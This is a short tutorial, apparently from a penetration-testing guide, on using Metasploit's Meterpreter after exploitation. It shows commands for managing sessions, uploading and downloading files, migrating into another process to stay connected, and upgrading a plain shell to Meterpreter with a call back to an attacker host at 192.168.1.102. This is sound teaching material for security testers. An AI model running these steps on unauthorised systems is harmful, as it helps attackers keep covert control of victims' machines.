Meterpreter shell for post-exploitation

By now you probably has some kind of shell to the target. If it is not a meterpreter shell you should probably try to turn the current shell into a meterpreter shell, since it gives you a lot of tools available really easy.

So just create a meterpreter-shell from msfvenom or something like that. Maybe a php-shell. Or whatever you have access to. Then you just fire that script and get your meterpreter shell. Check out the chapter Exploiting/Msfvenom for more about creating payloads.

Basics

List all commands

```
help
```

Get help about a specific command

```
help upload
```

Sessions

So first some basics. You can put the shell into a background job with the command `background`. This might be useful if you have several shells going at the same time. Or if you want to move to a specific directory to upload or download some files.

List background sessions

```
background -l
```

Connect back to a background session

```
background -i 1
```

Upload and download files.

```
upload
download
```

Scripts

Migrate

A really common and useful script that is build into metasploit is the migrate script. If you get the shell through some kind of exploits that crashes a program the user might shut down that program and it will close your session. So you need to migrate your session to another process. You can do that with the `migrate` script.

First run this command to output all processes

```
ps
```

Now you choose one and run

```
run migrate -p 1327
```

Where the `-p` is the PID of the process.

Post modules

There are tons of modules specifically created for post-exploitation. They can be found with

```
use post/
```

Upgrade a normal shell to metepreter

There is a point in doing stuff through metasploit. For example, if you find a exploit that does not have meterpreter available as a payload you can just start a normal shell and then upgrade it. To do that you do the following:

First you generate a shell through metasploit, either through a specici exploit or through a msfvenom-shell that you upload. Now that you have a normal shell it is time to upgrade it to a meterpreter shell.

First we have to leave the shell but without killing it. So we do

```
 Ctr-z
Background session 2? [y/N]  y
```

Now we have that shell running in the background, and you can see it with

```
 show sessions
#or
sessions -l
```

And you can connect to it again with

```
 sessions -i 1
```

Or whatever the number of the session is.

So now we have the shell running in the background. It is time to upgrade

```
 use post/multi/manage/shell_to_meterpreter
set LHOST 192.168.1.102
set session 1
exploit
```

Now metasploit will create a new session with meterpeter that will be available to you.